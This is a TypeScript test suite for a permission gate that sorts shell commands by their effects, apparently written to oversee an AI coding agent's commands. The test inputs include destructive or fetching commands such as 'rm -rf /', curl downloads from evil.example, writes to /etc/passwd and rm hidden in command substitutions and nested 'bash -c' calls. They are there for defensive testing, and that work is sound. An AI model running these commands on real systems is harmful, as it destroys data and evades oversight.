char-slop/ai-dots

ai dotfiles

git clone https://git.t4t.associates/char-slop/ai-dots

Charlotte Sompermission-gate: analyze through cwd changes6ff1139

main
17.9 KiB464 linesraw
1import { describe, test } from "node:test";
2import assert from "node:assert/strict";
3import {
4  analyzeBash,
5  assessAnalysis,
6  assessPath,
7  type PermissionPolicy,
8} from "bash-effect-analyzer";
9import { resolvesToFilesystemRoot, rootTargetCommand } from "./root-target";
10
11const POLICY: PermissionPolicy = {
12  cwd: "/home/u/proj",
13  allowedPrefixes: [],
14  writablePaths: [],
15  restrictReads: false,
16  readablePaths: [],
17};
18
19function withPolicy(overrides: Partial<PermissionPolicy>): PermissionPolicy {
20  return { ...POLICY, ...overrides };
21}
22
23async function decision(cmd: string, policy: PermissionPolicy = POLICY) {
24  return assessAnalysis(await analyzeBash(cmd), policy);
25}
26
27describe("allowed-prefix matching is per-token, not substring", () => {
28  test("prefix `deploy staging` matches `deploy staging --force`", async () => {
29    const v = await decision("deploy staging --force", withPolicy({ allowedPrefixes: ["deploy staging"] }));
30    assert.equal(v.decision, "allow");
31  });
32
33  test("prefix `deploy staging` does NOT match `deploy staging-x`", async () => {
34    const v = await decision("deploy staging-x", withPolicy({ allowedPrefixes: ["deploy staging"] }));
35    assert.equal(v.decision, "prompt");
36  });
37
38  test("prefix `rm -rf` does NOT match `rm -rfv`", async () => {
39    const v = await decision("rm -rfv /tmp/x", withPolicy({ allowedPrefixes: ["rm -rf"] }));
40    assert.equal(v.decision, "prompt");
41  });
42
43  test("bare-name prefix matches any args (and approves all effects)", async () => {
44    const v = await decision("curl -s https://evil.example/x -o /etc/x", withPolicy({ allowedPrefixes: ["curl"] }));
45    assert.equal(v.decision, "allow");
46  });
47});
48
49describe("effect gating — the baseline model", () => {
50  test("read-only known commands produce no effects and pass", async () => {
51    assert.equal((await decision("ls -la /tmp")).decision, "allow");
52    assert.equal((await decision("wc -l /etc/passwd")).decision, "allow");
53  });
54
55  test("unknown commands prompt via their `unknown` effect", async () => {
56    const v = await decision("frobnicate --fast");
57    assert.equal(v.decision, "prompt");
58    assert.ok(v.promptReasons.some((r) => r.includes("unknown command: frobnicate")));
59  });
60
61  test("reads anywhere are allowed", async () => {
62    assert.equal((await decision("cat /etc/passwd")).decision, "allow");
63  });
64
65  test("mutations inside cwd are allowed (delete is gated as a write)", async () => {
66    assert.equal((await decision("rm ./scratch.txt")).decision, "allow");
67    assert.equal((await decision("cat foo | grep bar | sort")).decision, "allow");
68  });
69
70  test("mutations outside cwd prompt", async () => {
71    assert.equal((await decision("rm -rf /")).decision, "prompt");
72    assert.equal((await decision("cat foo | rm /etc/x")).decision, "prompt");
73  });
74
75  test("a command with no operands has no effects and passes", async () => {
76    // `rm` with no operands errors at runtime without touching anything.
77    assert.equal((await decision("rm")).decision, "allow");
78  });
79
80  test("no invocations at all (assignment, comment) is allowed", async () => {
81    assert.equal((await decision("X=1")).decision, "allow");
82    assert.equal((await decision("# just a comment")).decision, "allow");
83  });
84
85  test("unparseable input prompts", async () => {
86    assert.equal((await decision('echo "')).decision, "prompt");
87  });
88});
89
90describe("network effects", () => {
91  test("curl connect prompts", async () => {
92    const v = await decision("curl -s https://evil.example/x");
93    assert.equal(v.decision, "prompt");
94    assert.ok(v.promptReasons.some((r) => r.includes("network")));
95  });
96
97  test("/allow curl approves the connect", async () => {
98    const v = await decision("curl -s https://evil.example/x", withPolicy({ allowedPrefixes: ["curl"] }));
99    assert.equal(v.decision, "allow");
100  });
101
102  test("git push prompts (network + repo-state), git status passes", async () => {
103    assert.equal((await decision("git push origin main")).decision, "prompt");
104    assert.equal((await decision("git status --short")).decision, "allow");
105    assert.equal((await decision("jj st")).decision, "allow");
106  });
107});
108
109describe("redirections", () => {
110  test("`>` to cwd-relative path is allowed", async () => {
111    assert.equal((await decision("echo hi > out.txt")).decision, "allow");
112  });
113
114  test("`>` to absolute path outside cwd prompts", async () => {
115    const v = await decision("echo hi > /etc/passwd");
116    assert.equal(v.decision, "prompt");
117    assert.ok(v.promptReasons.some((r) => r.includes("/etc/passwd")));
118  });
119
120  test("`<` for input never blocks (reads unrestricted)", async () => {
121    assert.equal((await decision("cat < /etc/passwd")).decision, "allow");
122  });
123
124  test("`2>&1` fd duplication is harmless", async () => {
125    assert.equal((await decision("ls 2>&1")).decision, "allow");
126  });
127
128  test("writes to a path in writablePaths are allowed by exact match", async () => {
129    const v = await decision("echo hi > /dev/null", withPolicy({ writablePaths: ["/dev/null"] }));
130    assert.equal(v.decision, "allow");
131    assert.ok(v.allowReasons.some((r) => r.includes("explicitly allowed")));
132  });
133
134  test("writes inside a directory in writablePaths are allowed by prefix", async () => {
135    const v = await decision(
136      "echo hi > /tmp/scratch/out.txt",
137      withPolicy({ writablePaths: ["/tmp/scratch"] }),
138    );
139    assert.equal(v.decision, "allow");
140    assert.ok(v.allowReasons.some((r) => r.includes("inside /tmp/scratch")));
141  });
142
143  test("an unknown command's redirect write still gates the path", async () => {
144    const v = await decision("frobnicate > out.txt");
145    assert.equal(v.decision, "prompt");
146    assert.ok(v.promptReasons.some((r) => r.includes("unknown command")));
147    assert.ok(!v.promptReasons.some((r) => r.includes("out.txt")), "cwd write should not itself prompt");
148  });
149});
150
151describe("verdict reasons are deduplicated", () => {
152  test("repeated identical writes collapse to one reason", async () => {
153    const v = await decision("echo a > /etc/x; echo b > /etc/x; echo c > /etc/x");
154    assert.equal(v.promptReasons.filter((r) => r.includes("/etc/x")).length, 1);
155  });
156
157  test("distinct write targets remain distinct", async () => {
158    const v = await decision("echo a > /etc/x; echo b > /etc/y");
159    assert.equal(v.promptReasons.filter((r) => r.includes("writes to")).length, 2);
160  });
161});
162
163describe("commands with effect-escaping flags", () => {
164  test("`sort -o /etc/hosts` prompts (outside cwd)", async () => {
165    assert.equal((await decision("sort -o /etc/hosts data")).decision, "prompt");
166  });
167
168  test("`sort -o ./local` is allowed (cwd-relative)", async () => {
169    assert.equal((await decision("sort -o ./local data")).decision, "allow");
170  });
171
172  test("`sort --output=FILE` writes to FILE", async () => {
173    assert.equal((await decision("sort --output=/etc/hosts data")).decision, "prompt");
174  });
175
176  test("unknown wrappers prompt regardless of their inner command", async () => {
177    assert.equal((await decision("find . -exec cat {} \\;")).decision, "prompt");
178    assert.equal((await decision("find . -exec rm {} \\;")).decision, "prompt");
179    assert.equal((await decision("env LANG=C rm /tmp/x")).decision, "prompt");
180    assert.equal((await decision("echo x | xargs rm")).decision, "prompt");
181  });
182
183  test("/allow find approves find and everything it runs", async () => {
184    const v = await decision("find . -exec rm {} \\;", withPolicy({ allowedPrefixes: ["find"] }));
185    assert.equal(v.decision, "allow");
186  });
187});
188
189describe("security boundary — nested execution is gated by its own effects", () => {
190  test("`$(rm)` inside an arg surfaces rm's delete", async () => {
191    assert.equal((await decision("echo $(rm -rf /)")).decision, "prompt");
192  });
193
194  test("backtick `rm` surfaces the delete", async () => {
195    assert.equal((await decision("echo `rm -rf /`")).decision, "prompt");
196  });
197
198  test("nested $() inside double-quoted string surfaces the delete", async () => {
199    assert.equal((await decision('echo "prefix $(rm /) suffix"')).decision, "prompt");
200  });
201
202  test("$() in assignment prefix surfaces the inner command", async () => {
203    assert.equal((await decision("x=$(rm /) echo $x")).decision, "prompt");
204  });
205
206  test("an outer-allowed command does not whitewash an inner one", async () => {
207    const v = await decision("echo $(rm -rf /)", withPolicy({ allowedPrefixes: ["echo"] }));
208    assert.equal(v.decision, "prompt");
209  });
210
211  test("process substitutions expose their inner commands", async () => {
212    assert.equal((await decision("diff <(cat a) <(rm /b)")).decision, "prompt");
213    assert.equal((await decision("cat foo > >(rm /b)")).decision, "prompt");
214  });
215
216  test("`bash -c` inner effects gate on their own", async () => {
217    const v = await decision("bash -c 'rm /etc/x'");
218    assert.equal(v.decision, "prompt");
219    assert.ok(v.promptReasons.some((r) => r.includes("/etc/x")));
220  });
221
222  test("`bash -c` is transparent: /allow reaches the inner command", async () => {
223    // Exactly like a subshell: the inner invocation is gated by its own argv.
224    assert.equal(
225      (await decision("bash -c 'rm /etc/x'", withPolicy({ allowedPrefixes: ["rm"] }))).decision,
226      "allow",
227    );
228    assert.equal(
229      (await decision("bash -c 'rm -rf /'", withPolicy({ allowedPrefixes: ["rm -rf"] }))).decision,
230      "allow",
231    );
232    assert.equal(
233      (await decision("bash -c 'curl -s https://evil.example'", withPolicy({ allowedPrefixes: ["curl"] }))).decision,
234      "allow",
235    );
236  });
237
238  test("`bash -c` transparency applies to sh and nests recursively", async () => {
239    assert.equal(
240      (await decision("sh -c 'rm /etc/x'", withPolicy({ allowedPrefixes: ["rm"] }))).decision,
241      "allow",
242    );
243    assert.equal(
244      (await decision("bash -c \"bash -c 'rm /etc/x'\"", withPolicy({ allowedPrefixes: ["rm"] }))).decision,
245      "allow",
246    );
247    assert.equal((await decision("bash -c \"bash -c 'rm /etc/x'\"")).decision, "prompt");
248  });
249
250  test("`bash -c` transparency does not make /allow bash approve the innards", async () => {
251    // bash itself does nothing; only its own redirections belong to it.
252    assert.equal(
253      (await decision("bash -c 'rm /etc/x'", withPolicy({ allowedPrefixes: ["bash"] }))).decision,
254      "prompt",
255    );
256  });
257
258  test("`bash -c 'x' > out` still gates the shell's own redirect", async () => {
259    assert.equal((await decision("bash -c 'true' > /etc/out")).decision, "prompt");
260    assert.equal((await decision("bash -c 'true' > out.txt")).decision, "allow");
261  });
262
263  test("`bash -c` with a dynamic source prompts", async () => {
264    assert.equal((await decision("bash -c $script")).decision, "prompt");
265  });
266});
267
268describe("security boundary — control flow bodies", () => {
269  test("rm inside a case body is surfaced", async () => {
270    assert.equal((await decision("case $x in foo) rm /etc/x ;; esac")).decision, "prompt");
271  });
272
273  test("rm inside a function body is surfaced", async () => {
274    assert.equal((await decision("f() { rm /etc/x; }; f")).decision, "prompt");
275  });
276
277  test("rm inside a [[ ]] test operand is surfaced", async () => {
278    assert.equal((await decision("[[ -f $(rm /etc/x) ]]")).decision, "prompt");
279  });
280
281  test("if/then walks both branches", async () => {
282    assert.equal((await decision("if true; then rm /etc/x; else cat; fi")).decision, "prompt");
283  });
284
285  test("&& and || walk both sides", async () => {
286    assert.equal((await decision("ls && rm /etc/x")).decision, "prompt");
287  });
288
289  test("subshell () walks contents", async () => {
290    assert.equal((await decision("(cd /tmp && rm /etc/x)")).decision, "prompt");
291  });
292});
293
294describe("security boundary — heredocs and herestrings", () => {
295  test("`cat <<EOF` (data-only consumer) does not prompt", async () => {
296    assert.equal((await decision("cat <<EOF\nhello world\nEOF")).decision, "allow");
297  });
298
299  test("`cat <<EOF` with `$(rm)` in body surfaces the delete", async () => {
300    assert.equal((await decision("cat <<EOF\n$(rm -rf /)\nEOF")).decision, "prompt");
301  });
302
303  test("shell-fed bodies prompt via the shell's unknown effect", async () => {
304    assert.equal((await decision("bash <<EOF\nrm -rf /\nEOF")).decision, "prompt");
305    assert.equal((await decision("sh <<<'rm /'")).decision, "prompt");
306  });
307
308  test("`cat <<<text` (non-shell consumer) is just data", async () => {
309    assert.equal((await decision("cat <<<hello")).decision, "allow");
310  });
311});
312
313describe("strict-reads mode", () => {
314  const STRICT = withPolicy({ restrictReads: true });
315
316  test("reads are confined to cwd + readablePaths", async () => {
317    const v = await decision("cat < /etc/passwd", STRICT);
318    assert.equal(v.decision, "prompt");
319    assert.ok(v.promptReasons.some((r) => r.includes("/etc/passwd")));
320    assert.equal((await decision("cat < input.txt", STRICT)).decision, "allow");
321    assert.equal(
322      (await decision("cat < /etc/hostname", withPolicy({ restrictReads: true, readablePaths: ["/etc"] }))).decision,
323      "allow",
324    );
325  });
326
327  test("commands without read effects are unaffected (the loose version)", async () => {
328    assert.equal((await decision("ls /tmp", STRICT)).decision, "allow");
329    assert.equal((await decision("echo hi", STRICT)).decision, "allow");
330  });
331
332  test("write gating is unaffected by strict-reads", async () => {
333    assert.equal((await decision("rm -rf /", STRICT)).decision, "prompt");
334    assert.equal((await decision("rm ./scratch", STRICT)).decision, "allow");
335  });
336
337  test("unknown commands still prompt under strict-reads", async () => {
338    assert.equal((await decision("frobnicate", STRICT)).decision, "prompt");
339  });
340
341  test("allowed prefixes still approve all effects", async () => {
342    const v = await decision("cat /etc/passwd", withPolicy({ restrictReads: true, allowedPrefixes: ["cat"] }));
343    assert.equal(v.decision, "allow");
344  });
345
346  test("assessPath gates an absolute path outside cwd", () => {
347    assert.equal(assessPath("read", "/etc/passwd", STRICT).decision, "prompt");
348  });
349
350  test("assessPath allows a path inside cwd", () => {
351    assert.equal(assessPath("read", "src/main.ts", STRICT).decision, "allow");
352  });
353
354  test("assessPath with restrictReads off auto-allows anything", () => {
355    assert.equal(assessPath("read", "/etc/passwd", POLICY).decision, "allow");
356  });
357});
358
359describe("direct file-write tool calls", () => {
360  test("write outside cwd prompts", () => {
361    assert.equal(assessPath("write", "/etc/x", POLICY).decision, "prompt");
362  });
363
364  test("write inside cwd allows", () => {
365    assert.equal(assessPath("write", "src/x", POLICY).decision, "allow");
366  });
367});
368
369describe("filesystem-root guard", () => {
370  test("recognizes root and equivalent paths", () => {
371    assert.equal(resolvesToFilesystemRoot(POLICY.cwd, "/"), true);
372    assert.equal(resolvesToFilesystemRoot(POLICY.cwd, "/."), true);
373    assert.equal(resolvesToFilesystemRoot(POLICY.cwd, "/tmp"), false);
374    assert.equal(resolvesToFilesystemRoot(POLICY.cwd, "."), false);
375  });
376
377  test("denies root as a find starting point", async () => {
378    assert.equal(rootTargetCommand(await analyzeBash("find / -name '*.ts'"), POLICY.cwd), "find");
379    assert.equal(rootTargetCommand(await analyzeBash("find -H /"), POLICY.cwd), "find");
380  });
381
382  test("does not mistake find expression arguments for starting points", async () => {
383    assert.equal(rootTargetCommand(await analyzeBash("find . -name /"), POLICY.cwd), undefined);
384    assert.equal(rootTargetCommand(await analyzeBash("find /tmp"), POLICY.cwd), undefined);
385  });
386
387  test("denies root as an rm operand, including nested shell commands", async () => {
388    assert.equal(rootTargetCommand(await analyzeBash("rm -rf /."), POLICY.cwd), "rm");
389    assert.equal(rootTargetCommand(await analyzeBash("bash -c 'rm /'"), POLICY.cwd), "rm");
390  });
391
392  for (const command of [
393    "cd / && rm .",
394    "cd /; rm .",
395    "cd /tmp && rm ..",
396    "cd / && bash -c 'rm .'",
397    "cd / && jj util exec -- rm .",
398    "echo $(cd / && rm .)",
399    "echo hi | cd /; rm .",
400  ]) {
401    test(`cwd-aware rm root guard: ${command}`, async () => {
402      assert.equal(rootTargetCommand(await analyzeBash(command), POLICY.cwd), "rm");
403    });
404  }
405
406  for (const command of [
407    "cd / && find .",
408    "cd / && find",
409    "cd / && find -name '*.ts'",
410    "cd / && find -H -D tree -name '*.ts'",
411    "cd / && bash -c 'find .'",
412  ]) {
413    test(`cwd-aware find root guard: ${command}`, async () => {
414      assert.equal(rootTargetCommand(await analyzeBash(command), POLICY.cwd), "find");
415    });
416  }
417
418  for (const command of [
419    "cd / || rm .",
420    "(cd /); rm .",
421    "cd / & rm .",
422    "cd / | cat; rm .",
423    "echo $(cd /); rm .",
424    "bash -c 'cd /'; rm .",
425    "cd / && find /tmp -name /",
426    'cd "$dir" && rm .',
427  ]) {
428    test(`does not invent a root target: ${command}`, async () => {
429      assert.equal(rootTargetCommand(await analyzeBash(command), POLICY.cwd), undefined);
430    });
431  }
432});
433
434describe("variable expansion in target paths", () => {
435  test("`echo hi > $f` prompts (dynamically-computed target)", async () => {
436    assert.equal((await decision("echo hi > $f")).decision, "prompt");
437  });
438
439  test("`sort -o $out` prompts instead of resolving `$out` as a literal filename", async () => {
440    assert.equal((await decision("sort -o $out data")).decision, "prompt");
441  });
442
443  test("`sort --output=$out` prompts (expansion lives mid-token after `=`)", async () => {
444    assert.equal((await decision("sort --output=$out data")).decision, "prompt");
445  });
446
447  test("single-quoted `$` is literal — a concrete path inside cwd allows", async () => {
448    const v = await decision("sort -o '$out' data");
449    assert.equal(v.decision, "allow");
450    assert.ok(v.allowReasons.some((r) => r.includes("$out") && r.includes("inside cwd")));
451  });
452
453  test("single-quoted absolute path outside cwd still gates the write", async () => {
454    assert.equal((await decision("sort -o '/etc/$out' data")).decision, "prompt");
455  });
456
457  test("`rm $myVar` prompts (delete of a dynamically-computed path)", async () => {
458    assert.equal((await decision("rm $myVar")).decision, "prompt");
459  });
460
461  test("a dynamic read is allowed when reads are unrestricted", async () => {
462    assert.equal((await decision("cat $f")).decision, "allow");
463  });
464});